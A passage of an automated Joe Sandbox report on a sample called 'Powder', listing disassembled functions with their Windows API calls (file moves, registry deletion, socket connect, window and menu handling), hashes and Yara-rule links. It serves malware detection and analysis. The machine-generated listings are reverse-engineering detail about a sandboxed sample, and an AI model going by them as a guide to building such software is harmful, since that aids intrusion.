Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 2aeb4e4b106a45d012fce83134bc771c44b72fa706ab69463512c60f36841043
Instruction ID: d591426df48424153867f6aa7bdde198ddf1b1401d96bed9e9bd28f5e51074e3
Opcode Fuzzy Hash: 2aeb4e4b106a45d012fce83134bc771c44b72fa706ab69463512c60f36841043
Instruction Fuzzy Hash: 4741B0A6C2066975CB11FBB4CC4AACFB3B8AF06314F508956F919E3121E634A355C3A5

Function 00CE3B64 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CE4BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00CE3B8A,?), ref: 00CE4BE0

Part of subcall function 00CE4BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00CE3B8A,?), ref: 00CE4BF9

lstrcmpiW.KERNEL32(?,?), ref: 00CE3BAA
_wcscmp.LIBCMT ref: 00CE3BC6
MoveFileW.KERNEL32(?,?), ref: 00CE3BDE
_wcscat.LIBCMT ref: 00CE3C26
SHFileOperationW.SHELL32(?), ref: 00CE3C92

Strings

\*.*, xrefs: 00CE3C20

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: c69d28bd6b587a2b196f07246f4e0cedf44145dd295e5f60be91ea2fc0a24477
Instruction ID: b887768fcfc4c143218ee8381f9de46610600ea0bf24f11b2fdd518286749c2e
Opcode Fuzzy Hash: c69d28bd6b587a2b196f07246f4e0cedf44145dd295e5f60be91ea2fc0a24477
Instruction Fuzzy Hash: 6241AE7140C384AAC756EF65C885ADBB7ECAF89340F50192EF49AC3191EB34E788C752

Function 00D078B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D078CF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D07976
IsMenu.USER32(?), ref: 00D0798E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00D079D6
DrawMenuBar.USER32 ref: 00D079E9

Strings

0, xrefs: 00D078C3

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 3c220d719e7c15ee0c2f978ca4585581925d6576739dd1771767043658bb752a
Instruction ID: 7c7a718ca3190fd777f123731a8e6441eb2710e92cb01a8ba4f9d216b745dd2d
Opcode Fuzzy Hash: 3c220d719e7c15ee0c2f978ca4585581925d6576739dd1771767043658bb752a
Instruction Fuzzy Hash: 69413875A08249EFDB10DF55E884F9ABBFAFB05310F088129E9599B390C770AD50CFA0

Function 00D01602 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00D01631
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00D0165B
FreeLibrary.KERNEL32(00000000), ref: 00D01712

Part of subcall function 00D01602: RegCloseKey.ADVAPI32(?), ref: 00D01678
Part of subcall function 00D01602: FreeLibrary.KERNEL32(?), ref: 00D016CA
Part of subcall function 00D01602: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00D016ED

RegDeleteKeyW.ADVAPI32(?,?), ref: 00D016B5

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 59d420152fb336584aef99ea8f47c372f424b2f9e8c38ecfed64c2f7fbae434f
Instruction ID: b04a6e8b73dd963848bfe60c13f33dd8d8b18c3e7cd24ba30c65b53ecc5e2700
Opcode Fuzzy Hash: 59d420152fb336584aef99ea8f47c372f424b2f9e8c38ecfed64c2f7fbae434f
Instruction Fuzzy Hash: 08313CB5900209FFDB159F90DC89BFEBBBCEF08300F044169E505E2290EA749E859AB0

Function 00D068F2 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00D06911
GetWindowLongW.USER32(00EE5E10,000000F0), ref: 00D06944
GetWindowLongW.USER32(00EE5E10,000000F0), ref: 00D06979
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00D069AB
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00D069D5
GetWindowLongW.USER32(?,000000F0), ref: 00D069E6
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00D06A00

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 34130ffcad0e59d53a390421bd1bcb6940753743bf023b2ee4c44c8cb47f780e
Instruction ID: 851d06e0d79cbce63426173fad3a22483f0e7727fd7dee36e828995fe9f40ad2
Opcode Fuzzy Hash: 34130ffcad0e59d53a390421bd1bcb6940753743bf023b2ee4c44c8cb47f780e
Instruction Fuzzy Hash: EF310534604255AFDB219F58EC88F6537E1EB4A750F1841A4F518CB6E1CB71EC60DFA0

Function 00CDE287 Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00CDE2CA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00CDE2F0
SysAllocString.OLEAUT32(00000000), ref: 00CDE2F3
SysAllocString.OLEAUT32(?), ref: 00CDE311
SysFreeString.OLEAUT32(?), ref: 00CDE31A
StringFromGUID2.OLE32(?,?,00000028), ref: 00CDE33F
SysAllocString.OLEAUT32(?), ref: 00CDE34D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 37a94f37223a51811e8b9c553485233e9b089f996b9a13df032fdb0e4c0fd520
Instruction ID: 11170d591ad441599569d18de99efb19d5681df2ef191b293a59a5d8836b75b5
Opcode Fuzzy Hash: 37a94f37223a51811e8b9c553485233e9b089f996b9a13df032fdb0e4c0fd520
Instruction Fuzzy Hash: 8B213875604219BF9B10EFA8DC84DBB77ACEB09364B448126FA15DB360DA70DD858760

Function 00CF685E Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00CF8475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00CF84A0

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00CF68B1
WSAGetLastError.WSOCK32(00000000), ref: 00CF68C0
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00CF68F9
connect.WSOCK32(00000000,?,00000010), ref: 00CF6902
WSAGetLastError.WSOCK32 ref: 00CF690C
closesocket.WSOCK32(00000000), ref: 00CF6935
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00CF694E

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: f983ff8cfbfe6c27d10026156ce92942391baf8e07cb640ea308b95a2c7de875
Instruction ID: 413acc935c623a428ad113c5278d400f096ce1aba255197d3f004b2e5bceadf5
Opcode Fuzzy Hash: f983ff8cfbfe6c27d10026156ce92942391baf8e07cb640ea308b95a2c7de875
Instruction Fuzzy Hash: 5931B571600208AFDB10AF64CC85BBD7BA9EF44764F048019FE15EB2D1DBB4AD459BA2

Function 00CDE360 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00CDE3A5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00CDE3CB
SysAllocString.OLEAUT32(00000000), ref: 00CDE3CE
SysAllocString.OLEAUT32 ref: 00CDE3EF
SysFreeString.OLEAUT32 ref: 00CDE3F8
StringFromGUID2.OLE32(?,?,00000028), ref: 00CDE412
SysAllocString.OLEAUT32(?), ref: 00CDE420

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: f9b0cc0a481e1511868e456693c441c8da4ab7adf556979a93cc660a2c6cb908
Instruction ID: 76f8e878269627070d1422f58204e159046345f681f5037ddb58674dd96cb8c7
Opcode Fuzzy Hash: f9b0cc0a481e1511868e456693c441c8da4ab7adf556979a93cc660a2c6cb908
Instruction Fuzzy Hash: CD215335604205BFAB10ABA8DC88DAF77ECEB09360B408126FA15CB360DA70ED818774

Function 00D07BF2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C82111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00C8214F
Part of subcall function 00C82111: GetStockObject.GDI32(00000011), ref: 00C82163
Part of subcall function 00C82111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00C8216D

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00D07C57
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00D07C64
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00D07C6F
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00D07C7E
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00D07C8A

Strings

Msctls_Progress32, xrefs: 00D07C28

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 5405963482ac23d178527d98539756b84d61060203fb0c4b6df8c87e90c00f11
Instruction ID: 75eb311a6cf5cb458d1b6a5433d80e2e9aaf77997d04bbd96de8cd464d2f8a53
Opcode Fuzzy Hash: 5405963482ac23d178527d98539756b84d61060203fb0c4b6df8c87e90c00f11
Instruction Fuzzy Hash: 461160B2654219BFEF159F60CC85EEB7F5DEF08798F014115BA08A6190CB72AC21DBB4

Function 00CA41B9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00CA4282,?), ref: 00CA41D3
GetProcAddress.KERNEL32(00000000), ref: 00CA41DA
EncodePointer.KERNEL32(00000000), ref: 00CA41E6
DecodePointer.KERNEL32(00000001,00CA4282,?), ref: 00CA4203

Strings

combase.dll, xrefs: 00CA41CE
RoInitialize, xrefs: 00CA41C2

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 13873c8fa0895bcacb0e78cea27f87fedb7acbd05060882b653b646bf8cfd870
Instruction ID: f559823e0cc526b2f98f95e8401249279762d6448b78e3d3a367715bdace59bd
Opcode Fuzzy Hash: 13873c8fa0895bcacb0e78cea27f87fedb7acbd05060882b653b646bf8cfd870
Instruction Fuzzy Hash: 39E01A78A90781FFDB102F70FC4DB983A65A752B0AF608424B511D52A4CFF551CA8F30

Function 00CA428E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00CA41A8), ref: 00CA42A8
GetProcAddress.KERNEL32(00000000), ref: 00CA42AF
EncodePointer.KERNEL32(00000000), ref: 00CA42BA
DecodePointer.KERNEL32(00CA41A8), ref: 00CA42D5

Strings

RoUninitialize, xrefs: 00CA4297
combase.dll, xrefs: 00CA42A3

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 71c782935771eee0965314ea8753506769bf9a4457a82d8e338579818861cb82
Instruction ID: ee5dcb71e96330669ef5727d6c9683e97baf7b42ee91883cc4763b0ccf2b32c6
Opcode Fuzzy Hash: 71c782935771eee0965314ea8753506769bf9a4457a82d8e338579818861cb82
Instruction Fuzzy Hash: 46E0B674550701BFDB10AF60BD0DB843E64B752B16F508118F011D56A9CFF44695CA30

Function 00C8218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00C821B8
GetWindowRect.USER32(?,?), ref: 00C821F9
ScreenToClient.USER32(?,?), ref: 00C82221
GetClientRect.USER32(?,?), ref: 00C82350
GetWindowRect.USER32(?,?), ref: 00C82369

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 5e27b8b203fb6ae0523eaf9ecc02343a9fc20a9cd763d4e8c78b252245d078bb
Instruction ID: a56d2fbc78e2c2e15e9538f9fa65c3ae1e609747cc1432b01862132c1c705bb2
Opcode Fuzzy Hash: 5e27b8b203fb6ae0523eaf9ecc02343a9fc20a9cd763d4e8c78b252245d078bb
Instruction Fuzzy Hash: E4B16C39900249DBDF10DFA9C5847EDB7B1FF08314F148129ED69AB264DB70AE50CB68

Function 00CE6A73 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CE6BC6
_memmove.LIBCMT ref: 00CE6B01

Part of subcall function 00C84D37: __itow.LIBCMT ref: 00C84D62
Part of subcall function 00C84D37: __swprintf.LIBCMT ref: 00C84DAC

_memmove.LIBCMT ref: 00CE6B74
_memmove.LIBCMT ref: 00CE6C5B
_memmove.LIBCMT ref: 00CE6C74
_memmove.LIBCMT ref: 00CE6C90

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 93d4c60729d7354d57abe0a857fecb3d1498ef198ce56d5603a4327e8f28dd95
Instruction ID: 397cb40abe383d9246f17aaba71c2fb8c2216b4306d6c1af122a16fd8d33edce
Opcode Fuzzy Hash: 93d4c60729d7354d57abe0a857fecb3d1498ef198ce56d5603a4327e8f28dd95
Instruction Fuzzy Hash: E061ED3051069AABCF05FF61CC82EFE3BA9AF15388F084519FD596B292DB349D05EB50

Function 00D00844 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

Part of subcall function 00D0147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D0040D,?,?), ref: 00D01491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D0091D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00D0095D
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00D00980
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00D009A9
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00D009EC
RegCloseKey.ADVAPI32(00000000), ref: 00D009F9

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 39786a547a5461e89b48a6015e5a90ca8ca1e170f4a1832db26a2314c84f18f3
Instruction ID: 7409a6e5083e8a9106e74e1880db2f29547adf8774964e69220c3be64b775cf3
Opcode Fuzzy Hash: 39786a547a5461e89b48a6015e5a90ca8ca1e170f4a1832db26a2314c84f18f3
Instruction Fuzzy Hash: AB516E31208245AFD714EF64C845F6EBBE9FF89314F08491DF589872A2DB31E905DB62

Function 00D05DD6 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00D05E38
GetMenuItemCount.USER32(00000000), ref: 00D05E6F
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00D05E97
GetMenuItemID.USER32(?,?), ref: 00D05F06
GetSubMenu.USER32(?,?), ref: 00D05F14
PostMessageW.USER32(?,00000111,?,00000000), ref: 00D05F65

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: f5797beca86fac70adecdbb412f98c8eb04bd736d8852c8699051adb83938992
Instruction ID: d5d3cdd04d2cd652c1c240b815e55a65f14d242e49155c905028666813edcc8b
Opcode Fuzzy Hash: f5797beca86fac70adecdbb412f98c8eb04bd736d8852c8699051adb83938992
Instruction Fuzzy Hash: F3519F35A00616AFCB11EF64D845AAEBBB5EF48310F144099FC05BB391CB74AE419FA0

Function 00CDF688 Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00CDF6A2
VariantClear.OLEAUT32(00000013), ref: 00CDF714
VariantClear.OLEAUT32(00000000), ref: 00CDF76F
_memmove.LIBCMT ref: 00CDF799
VariantClear.OLEAUT32(?), ref: 00CDF7E6
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00CDF814

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 46f19ac7219ec0187504ee226f574b2abba81ef050a0fd5dc605506c7c9ee07a
Instruction ID: 7858d4e2d2df53f4072be5f98d482cdabcbd7ffc9a8469fd5be9a1b17d09e785
Opcode Fuzzy Hash: 46f19ac7219ec0187504ee226f574b2abba81ef050a0fd5dc605506c7c9ee07a
Instruction Fuzzy Hash: FE512D75A00209EFDB14CF58C884AAAB7B8FF4C354B15856AEE59DB341D730E952CFA0

Function 00CE29B1 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CE29FF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00CE2A4A
IsMenu.USER32(00000000), ref: 00CE2A6A
CreatePopupMenu.USER32 ref: 00CE2A9E
GetMenuItemCount.USER32(000000FF), ref: 00CE2AFC
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00CE2B2D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
